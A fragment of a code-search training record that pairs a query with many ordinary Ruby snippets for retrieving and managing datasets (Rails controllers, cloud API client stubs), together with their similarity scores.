\"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::Dataset.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def set_datasets\n @datasets = current_user.get_datasets 'all'\n\n @metadata_array = []\n @metadata_array = Dataset.get_metadata_list(@datasets.map{|ds| ds.id}) if @datasets\n\n # TODO: Find a better way to do this\n @datasets.each_with_index do |ds, i|\n ds.metadata = @metadata_array['data'][i]['attributes']\n end\n end", "def show_dataset\n @dataset = Dataset.find(params[:dataset_id])\n @data = (ActiveRecord::Base.connection.select_all(\"SELECT * from dataset_#{@dataset.id} ORDER BY id ASC\")).to_json\n render :inline => @data\n end", "def find(id)\n new(GeoIQ.get(\"/datasets/#{id}.json\"))\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def get_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::Dataset.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def get_dataset dataset_id\n # The get operation is considered idempotent\n execute backoff: true do\n service.get_dataset @project, dataset_id\n end\n end", "def dataset_endpoint(id)\n return uri(\"resource/\" + id)\n end", "def dataset(ds_id)\n data_service.dataset(service_name(ds_id))\n end", "def datasets\n Dataset.order(:name).map_h {|d| DataRow.where(ward: self, dataset: d)}\n end", "def set_datasets\n # Force admin token for getting user information (show/hide delete button)\n datasets = @site.get_datasets(current_user)\n @datasets = process_datasets datasets\n end", "def index\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_sets = chart.data_sets.all\n\n respond_with(data_sets) do |format|\n \t#response string in specified format\n format.json { render json: { success: true, data_sets: data_sets } }\n end\n end", "def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end", "def demos\n get_records \"demo\", \"/demos\"\n end", "def dataset\n graph && graph.dataset\n end", "def dataset\n @dataset ||= generate_dataset\n end", "def dataset\n @@dataset\n end", "def datasets_formatted(parameters = {})\n datasets(parameters).map { |t| t['datasetReference']['datasetId'] }\n end", "def datasets_formatted(parameters = {})\n datasets(parameters).map { |t| t['datasetReference']['datasetId'] }\n end", "def show\n @tags = @dataset.tags_on(:tags).map { |tag| tag.id }\n @apps = @dataset.apps.find(:all, :conditions => ['is_published = ?', true])\n respond_to do |wants|\n wants.html # show.html.erb\n wants.xml { render :xml => @dataset }\n end\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def load_and_filter_datasets(silent = false)\n return @objects[:filtered_datasets] unless @objects[:filtered_datasets].nil?\n\n say 'Listing datasets'\n ds =\n if !self[:dataset].nil?\n [load_dataset(silent)].compact\n elsif !self[:ds_list].nil?\n File.readlines(self[:ds_list]).map do |i|\n load_dataset(silent, i.chomp)\n end.compact\n else\n load_project.datasets\n end\n k = 0\n n = ds.size\n ds.select! do |d|\n advance('Datasets:', k += 1, n, false)\n o = true\n o &&= (d.ref? == self[:ref]) unless self[:ref].nil?\n o &&= (d.active? == self[:active]) unless self[:active].nil?\n o &&= (self[:multi] ? d.multi? : d.nonmulti?) unless self[:multi].nil?\n unless self[:taxonomy].nil?\n o &&= !d.metadata[:tax].nil? && d.metadata[:tax].in?(self[:taxonomy])\n end\n o\n end\n say ''\n ds = ds.values_at(self[:dataset_k] - 1) unless self[:dataset_k].nil?\n @objects[:filtered_datasets] = ds\n end", "def index\n @clusters = Cluster.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clusters }\n end\n end", "def index\n @page_title = \"VDW Datasets\"\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n format.pdf\n end\n end", "def biomart_dataset( ds_conf )\n return Biomart::Dataset.new( ds_conf[\"url\"], { :name => ds_conf[\"dataset_name\"] } )\n end", "def index\n retrieve_data_for_graph\n end", "def reference_datasets\n if @results.nil?\n @ref_datasets = @project.ref_datasets\n else\n @ref_datasets = @results\n end\n cur_page = (params[:page] || 1).to_i\n per_page = (params[:per_page] || 10).to_i\n @datasets = WillPaginate::Collection.create(\n cur_page, per_page, @ref_datasets.size) do |pager|\n start = (cur_page - 1) * per_page\n pager.replace(@ref_datasets[start, per_page])\n end\n end", "def get_recent_datasets(count = 10)\n @api.request('get_recent_datasets', count: 10)\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def type\n 'dataset'\n end", "def get_forecast_data\n result = RestClient.get(request_url)\n @xml = REXML::Document.new(result)\n end", "def dataset_metadata(id)\n return uri(\"views/\" + id + \".json\")\n end", "def readDataset\n entries = Array.new\n Dir.entries(DATASET_DIR).sort.each do |x|\n if x != \".\" and x != \"..\"\n entries << DatasetEntry.new(File.join(DATASET_DIR, x))\n end\n end\n entries\nend", "def index\n @classification_fund_sets = ClassificationFund.fetch_data\n end", "def base_url\n\t\t\"http://www.quandl.com/api/v1/datasets/WORLDBANK/\"\n\tend", "def dataset\n self\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def get_data(arg)\n dir_to_data = Dir.pwd + '/features/support'\n data = YAML.load_file(\"#{dir_to_data}/data_list.yml\")\n data['DataSet'][\"#{arg}\"]\nend", "def dataset(name)\n datasets[name] = Dataset.new(connection.fetch(name.to_s))\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @data_set }\n end\n end", "def set_data_set\n @data_set = DataSet.find_by(:id => params[:dataset_id])\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to dataset_url(@dataset) }\n format.xml { head :created, :location => dataset_url(@dataset) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors.to_xml }\n end\n end\n end", "def workflow_dataset(n)\n fail ActiveRecord::RecordNotFound if workflow_datasets.size <= n\n Dataset.find(workflow_datasets[n])\n end", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def dataset(name)\n sets[name] = Dataset.new(name, connection)\n end", "def get_metadata\n DatasetService.get_metadata self.dataset_id\n end", "def index\n @data_files = DataFile.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @data_files }\n end\n end", "def metadata\n DatasetService.get_metadata dataset_id\n end", "def dataset\n @dataset ||= data_maker.dataset\n end", "def arrays(args={})\n get(\"/arrays.json\",args)\n end", "def dataset(name)\n @datasets[name.to_sym] = Dataset.new(session, *split(name))\n end", "def download_data\n # Custom downloader functionality implementation, this is just a simplified example template\n $log.info 'Starting downloading data from the Dummy API.'\n entities = @metadata.list_entities\n results = []\n entities.each do |entity|\n entity_custom = entity.custom\n load_metadata entity, entity_custom['fields']\n start_date, end_date = get_date_interval(entity)\n results << [entity, download_data_range(entity, start_date, end_date)]\n end\n save_to_s3 results\n end", "def fetch(options = {})\n url = build_url(options)\n puts \"Getting #{url}\"\n\n json = get_response(url)\n\n if self.is_json?\n data = JSON.parse(json)\n else\n data = XmlSimple.xml_in(json)\n end\n\n # TODO: Raise hell if there is a problem\n\n collection = OpenCongressApi::Collection.build(json_result(data))\n collection.map!{|result| format_result(result)}\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to(@dataset) }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.753298", "0.6892824", "0.6892824", "0.6892824", "0.6813552", "0.6754465", "0.6754465", "0.6622356", "0.655275", "0.655275", "0.6168882", "0.6156508", "0.61541", "0.6105366", "0.60999507", "0.60952085", "0.6019521", "0.6001793", "0.5979236", "0.59703606", "0.5948212", "0.5932085", "0.59063697", "0.5879527", "0.58766973", "0.58766973", "0.58525455", "0.58524376", "0.5835366", "0.58347076", "0.5823796", "0.5765477", "0.57228607", "0.57215416", "0.5673464", "0.5653917", "0.5623168", "0.5617007", "0.56127703", "0.5590085", "0.5581645", "0.55731744", "0.55655134", "0.5564949", "0.5564949", "0.5564949", "0.5564949", "0.5547554", "0.55366856", "0.54986715", "0.5485423", "0.5483153", "0.54677844", "0.5467455", "0.5459356", "0.54441273", "0.54427487", "0.5438218", "0.5398751", "0.5397157", "0.5397157", "0.5387654", "0.5386007", "0.5386007", "0.53629047", "0.5360074", "0.53575253", "0.53561354", "0.5354739", "0.535322", "0.53373426", "0.53352064", "0.5334092", "0.53234804", "0.5318949", "0.5311907", "0.5278164", "0.5275174", "0.5267461", "0.5267461", "0.5267461", "0.5263121", "0.52448016", "0.52442384", "0.52405125", "0.52402276", "0.5237622", "0.52373075", "0.52344406", "0.52344406", "0.52292806", "0.52259123", "0.5222288", "0.5219997", "0.5198924", "0.5193975", "0.519014", "0.5186763", "0.5184701", "0.5177985" ]
0.55459785
48
GET /datasets/1 GET /datasets/1.xml GET /dataset/1.eml
def show @dataset = Dataset.find(params[:id]) @title = @dataset.title @roles = @dataset.roles respond_to do |format| format.html # show.rhtml format.eml { render :xml => @dataset.to_eml } format.xml { render :xml => @dataset.to_xml } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def show\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def index\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @datasets }\n end\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def index\n @datasets = Dataset.all\n end", "def get_datasets\n authenticate unless authenticated?\n response = RestClient::Request.execute(\n url: @@datasets_endpoint,\n method: :get,\n headers: headers('application/json')\n )\n return response\n end", "def index\n request.format = :eml if params[:Dataset]\n @keyword_list = params['keyword_list']\n @people = Person.find_all_with_dataset(:order => 'sur_name')\n @themes = Theme.find(:all, :order => :weight)\n @datasets = Dataset.all\n @studies = collect_and_normalize_studies(@datasets)\n @studies = [@study] if @study\n @crumbs = []\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @datasets.to_xml }\n format.eml { render :eml => @datasets }\n end\n end", "def index\n @datasets = Dataset.published\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n end\n end", "def index\n #@experiments = Experiment.all\n @experiments = Experiment.paginate :per_page => 5, :page => params[:page], :order => \"id DESC\", :conditions => ['status=1']\n @datasets=[]\n @experiments.each do |exp|\n @datasets << createThumbJSON(Rails.root.join(\"public\",\"SAX_DATA\", exp.data_directory, \"iofq_data_file.dat\")) \n end\n \n respond_to do |format|\n format.html { render :action => \"list\"} # index.html.erb\n format.xml { render :xml => @experiments }\n end\n end", "def index\n @dataset_researchers = Lien.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @dataset_researchers }\n end\n end", "def index\n @fmr_datasets = FmrDataset.all\n end", "def show\n @dataset = Dataset.find(params[:id])\n \n @title = @dataset.name + \" : \" + @title\n respond_to do |format|\n format.html # show.html.erb\n # format.xml { render :xml => @dataset.to_xml (:include => [:format_urls, :format_types] ) }\n format.xml { render }\n end\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def download\n xml = load_eml.xpath('//eml:eml//dataset')\n unless xml.nil?\n bounding_coords = \"Geographic Boundary - Northern #{xml.xpath('coverage/geographicCoverage/boundingCoordinates/northBoundingCoordinate').text}, Eastern #{xml.xpath('coverage/geographicCoverage/boundingCoordinates/eastBoundingCoordinate').text}, Southern #{xml.xpath('coverage/geographicCoverage/boundingCoordinates/southBoundingCoordinate').text}, Western #{xml.xpath('coverage/geographicCoverage/boundingCoordinates/westBoundingCoordinate').text}\"\n contribs = []\n contribs << {\n identifiers: [xml.xpath('creator/electronicMailAddress').text],\n name: \"#{xml.xpath('creator/individualName/givenName').text} #{xml.xpath('creator/individualName/surName').text}\",\n email: xml.xpath('creator/electronicMailAddress').text,\n role: xml.xpath('creator/positionName').text,\n org: { name: xml.xpath('creator/organizationName').text }\n }\n contribs << {\n identifiers: [xml.xpath('metadataProvider/electronicMailAddress').text],\n name: \"#{xml.xpath('metadataProvider/individualName/givenName').text} #{xml.xpath('creator/individualName/surName').text}\",\n email: xml.xpath('metadataProvider/electronicMailAddress').text,\n role: xml.xpath('metadataProvider/positionName').text,\n org: { name: xml.xpath('metadataProvider/organizationName').text }\n }\n project_json = {\n source: 'biocode',\n identifiers: xml.xpath('alternateIdentifier').map{ |id| id.text },\n title: xml.xpath('title').text,\n license: xml.xpath('intellectualRights/para').text,\n description: \"#{xml.xpath('abstract/para').text}<br/>&nbsp;Coverage Area: #{xml.xpath('coverage/geographicCoverage/geographicDescription.text')}<br/>&nbsp;&nbsp;#{bounding_coords}\",\n publication_date: xml.xpath('pubDate').text,\n language: xml.xpath('language').text,\n contributors: contribs\n }\n end\n\n { projects: [project_json || nil] }\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def index\n @dataset_data = DatasetDatum.all\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dataset }\n end\n end", "def datasets\n @datasets || []\n end", "def datasets\n @datasets || []\n end", "def download\n @data = HeyDan::Helper.get_data_from_url(HeyDan.cdn + '/' + dataset_file_name)\n end", "def index\n @qdatasets = Qdataset.all\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def get(id)\n dataset.get(id)\n end", "def show_dataset\n @dataset = Dataset.find(params[:dataset_id])\n @data = (ActiveRecord::Base.connection.select_all(\"SELECT * from dataset_#{@dataset.id} ORDER BY id ASC\")).to_json\n render :inline => @data\n end", "def index\n @datasets = Dataset.find(:all, :order => 'is_featured desc, last_uploaded_at desc')\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @datasets }\n end\n end", "def get_datasets(quandl_database_code)\n db = Quandl::Database.get(quandl_database_code)\n total_pages = db.datasets.meta[:total_pages]\n (1..total_pages).reduce([]) do |memo, page_number|\n i = 1\n begin\n datasets = db.datasets(params: {page: page_number}).values\n memo.concat(datasets)\n rescue SocketError => e\n puts \"Connection error ##{i}\"\n puts e.message\n puts e.backtrace(\"\\n\")\n i += 1\n retry if i <= 10\n rescue => e\n puts \"Error ##{i}\"\n puts e.message\n puts e.backtrace(\"\\n\")\n i += 1\n retry if i <= 10\n end\n memo\n end\n end", "def url_dataset_explore(dataset, options={})\n request.path == explore_data_dashboard_path(dataset.owner, dataset) ? explore_data_show_path(dataset.owner, dataset, options) : explore_dataset_path(dataset.owner, dataset, options)\n end", "def dataset_metadata(id)\n return uri(\"views/\" + id + \".json\")\n end", "def workflow_dataset(n)\n fail ActiveRecord::RecordNotFound if workflow_datasets.size <= n\n Dataset.find(workflow_datasets[n])\n end", "def show_all_datasets(pid)\r\n GoodData.use pid\r\n puts \"Project has this datasets:\"\r\n GoodData.project.datasets.each do |dataset|\r\n puts \"Dataset name: #{dataset.title.bright} Dataset identifier: #{dataset.identifier.bright}\"\r\n end\r\n end", "def reference_dataset_result\n if p = @project and m = p.miga\n if ds = m.dataset(params[:dataset]) and res = ds.result(params[:result])\n if file = res.data[:files][params[:file].to_sym]\n send_result(file, res)\n return\n end\n end\n end\n render nothing: true, status: 200, content_type: 'text/html'\n end", "def set_data_set\n @data_set = DataSet.find_by(:id => params[:dataset_id])\n end", "def [](name)\n datasets.fetch(name)\n end", "def [](name)\n datasets.fetch(name)\n end", "def dataset_endpoint(id)\n return uri(\"resource/\" + id)\n end", "def index\n @order = params[:order] || 'created_at desc'\n @datasets = Dataset.find(:all, :order => @order, :conditions => params[:conditions]) \n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n format.rss\n end\n end", "def index\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_sets = chart.data_sets.all\n\n respond_with(data_sets) do |format|\n \t#response string in specified format\n format.json { render json: { success: true, data_sets: data_sets } }\n end\n end", "def show_dataset\n @dataset_miga = @project.miga.dataset(params[:dataset])\n redirect_to root_url if @dataset_miga.nil?\n end", "def get\n processed_dataset = route.features.inject(dataset){|ds, f| f.process_dataset(ds, params)}\n result = processed_dataset.all\n route.features.inject(result){|res, f| f.process_output(processed_dataset, res, params)}\n end", "def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end", "def get_dataset dataset_id\n # The get operation is considered idempotent\n execute backoff: true do\n service.get_dataset @project, dataset_id\n end\n end", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def download_data\n # Custom downloader functionality implementation, this is just a simplified example template\n $log.info 'Starting downloading data from the Dummy API.'\n entities = @metadata.list_entities\n results = []\n entities.each do |entity|\n entity_custom = entity.custom\n load_metadata entity, entity_custom['fields']\n start_date, end_date = get_date_interval(entity)\n results << [entity, download_data_range(entity, start_date, end_date)]\n end\n save_to_s3 results\n end", "def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def index\n @datasets = Dataset.select_without_data.order(:name).page(params[:page])\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to dataset_url(@dataset) }\n format.xml { head :created, :location => dataset_url(@dataset) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors.to_xml }\n end\n end\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dataset }\n end\n end", "def get_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::Dataset.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def results\n @dataset.all\n end", "def download_article_data\n print \"Getting list of articles...\\n\"\n ArticleGetter.new([ARTICLE_SOURCE]).result\n end", "def get_metadata\n DatasetService.get_metadata self.dataset_id\n end", "def index\n if params[:visit_id]\n @visit = Visit.find(params[:visit_id])\n @search = @visit.image_datasets.search(params[:search])\n @image_datasets = @search.relation.page(params[:page]).per(50).all\n @total_count = @image_datasets.count\n @page_title = \"All Image Datasets for Visit #{@visit.rmr}\"\n else\n # @image_datasets = ImageDataset.find_all_by_visit_id(params[:visit_id])# .paginate(:page => params[:page], :per_page => PER_PAGE)\n # @visit = Visit.find(params[:visit_id])\n # @total_count = @image_datasets.count\n # @page_title = \"All Image Datasets for Visit #{@visit.rmr}\"\n # else\n @search = ImageDataset.search(params[:search])\n \n # Set pagination and reporting options depending on the requested format\n # (ie Don't paginate datasets on CSV download.)\n if params[:format]\n @image_datasets = @search.relation\n \n # Eventually, we'll be able to set exactly what we want included in the \n # report from the web interface. For now, we'll do it programatically \n # here in the controller.\n light_include_options = :image_dataset_quality_checks\n heavy_include_options = {\n :image_dataset_quality_checks => {:except => [:id]},\n :visit => {:methods => :age_at_visit, :only => [:scanner_source, :date], :include => {\n :enrollments => {:only => [:enumber], :include => { \n :participant => { :methods => :genetic_status, :only => [:gender, :wrapnum, :ed_years] }\n }}\n }}\n }\n else\n @image_datasets = @search.relation.page(params[:page])\n end\n \n # @total_count = all_images.size # I'm not sure where this method is coming from, but it's breaking in ActiveResource\n @total_count = ImageDataset.count\n @page_title = \"All Image Datasets\"\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :text => @image_datasets.to_xml(:except => [:dicom_taghash])}\n format.csv { render :csv => ImageDataset.csv_download(@image_datasets, heavy_include_options) }\n end\n end", "def index\n @page_title = \"VDW Datasets\"\n @datasets = Dataset.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @datasets }\n format.pdf\n end\n end", "def datasets\n datasets = []\n dataset.each do |d|\n if d[:data].first.is_a?(Array)\n datasets += d[:data]\n else\n datasets << d[:data]\n end\n end\n datasets\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to(datasets_url) }\n format.xml { head :ok }\n end\n end", "def index\n\t\t@jquery = InitHelper.new( gon )\n\t\t@data_sets = DataSet.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @data_sets }\n\t\tend\n\tend", "def get_dataset request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_dataset_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1beta1::Dataset.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully created.') }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n retrieve_data_for_graph\n end", "def set_datasets\n @datasets = current_user.get_datasets 'all'\n\n @metadata_array = []\n @metadata_array = Dataset.get_metadata_list(@datasets.map{|ds| ds.id}) if @datasets\n\n # TODO: Find a better way to do this\n @datasets.each_with_index do |ds, i|\n ds.metadata = @metadata_array['data'][i]['attributes']\n end\n end", "def set_dataset\n @dataset = Dataset.find_by(key: params[:id])\n @dataset ||= Dataset.find(params[:dataset_id])\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def new\n @dataset = Dataset.new\n 3.times do\n @dataset.dataset_variables << DatasetVariable.new\n end\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def dataset(id)\n response = RestClient.get settings.uris.dataset_metadata(id)\n return JSON.parse( response.to_str )\n end", "def destroy\n @dataset = Dataset.find(params[:id])\n @dataset.destroy\n\n respond_to do |format|\n format.html { redirect_to datasets_url }\n format.xml { head :ok }\n end\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n\n respond_to do |format|\n if @dataset.save\n flash[:notice] = 'Dataset was successfully created.'\n format.html { redirect_to(@dataset) }\n format.xml { render :xml => @dataset, :status => :created, :location => @dataset }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n flash[:notice] = 'Dataset was successfully updated.'\n format.html { redirect_to dataset_url(@dataset) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dataset.errors.to_xml }\n end\n end\n end", "def new\n @data_set = DataSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @data_set }\n end\n end", "def index\n @entities = Entity.find(:all, :limit=>100)\n EntitiesHelper.setModelGraph(\"public/UMLmodel.png\")\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @entities }\n end\n end", "def demos\n get_records \"demo\", \"/demos\"\n end", "def query_dataset(domo_dataset_id)\n authenticate unless authenticated?\n headers = {\n 'Authorization': \"Bearer #{@access_token}\",\n 'Accept': 'text/csv'\n }\n endpoint = \"#{@@datasets_endpoint}/#{domo_dataset_id}/data?includeHeader=true&fileName=#{domo_dataset_id}.csv\"\n response = RestClient::Request.execute(\n url: endpoint,\n method: :get,\n headers: headers\n )\n if response.code != 200\n raise SdkException::HttpException(response.status, response.message)\n end\n return response.body\n end", "def metricData(ak,aapId,names)\n parseUrl=URI.parse('https://api.newrelic.com/v2/applications/'+appId+'/metrics/data.json')\n uri='https://api.newrelic.com/v2/applications/'+appId+'/metrics/data.json?names'+\n host=parseUrl.host\n path=parseUrl.path\n getRequest(ak,uri,host,path)\nend", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def list_datasets request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_datasets_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::AutoML::V1::ListDatasetsResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def metadata\n DatasetService.get_metadata dataset_id\n end", "def list_datasets all: nil, filter: nil, max: nil, token: nil\n # The list operation is considered idempotent\n execute backoff: true do\n service.list_datasets @project, all: all, filter: filter, max_results: max, page_token: token\n end\n end", "def download_people_data\n print \"Getting IDs of articles about people...\\n\"\n PeopleGetter.new([MEN_URL, WOMEN_URL]).result\n end", "def dataset\n graph && graph.dataset\n end", "def new\n @image_dataset = ImageDataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image_dataset }\n end\n end", "def new\n @image_dataset = ImageDataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image_dataset }\n end\n end", "def dataset\n @dataset ||= data_maker.dataset\n end", "def show\n @tags = @dataset.tags_on(:tags).map { |tag| tag.id }\n @apps = @dataset.apps.find(:all, :conditions => ['is_published = ?', true])\n respond_to do |wants|\n wants.html # show.html.erb\n wants.xml { render :xml => @dataset }\n end\n end", "def update\n @dataset = Dataset.find(params[:id])\n\n respond_to do |format|\n if @dataset.update_attributes(params[:dataset])\n format.html { redirect_to(@dataset, :notice => 'Dataset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @dataset.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_dataset_read_handler( path, rsrcobj, dsname, params, options )\n\t\t\tself.log.debug \"Adding dataset method read handler: %s\" % [ path ]\n\n\t\t\t# Only need to declare a parameter if the dataset method has one\n\t\t\tparams.each do |paramname|\n\t\t\t\tconfig = rsrcobj.db_schema[ paramname ] or\n\t\t\t\t\traise ArgumentError, \"no such column %p for %p\" % [ paramname, rsrcobj ]\n\t\t\t\tparam( paramname, config[:type] )\n\t\t\tend\n\n\t\t\tself.add_route( :GET, path, options ) do |req|\n\t\t\t\tself.log.debug \"Resource dataset GET request for dataset %s on %p\" %\n\t\t\t\t\t[ dsname, rsrcobj ]\n\t\t\t\tfinish_with( HTTP::BAD_REQUEST, req.params.error_messages.join(\"\\n\") ) unless\n\t\t\t\t\treq.params.okay?\n\n\t\t\t\t# Get the dataset, either with a parameter or without one\n\t\t\t\targs = req.params.values_at( *params )\n\t\t\t\tdataset = rsrcobj.send( dsname, *args )\n\t\t\t\tself.log.debug \" dataset is: %p\" % [ dataset 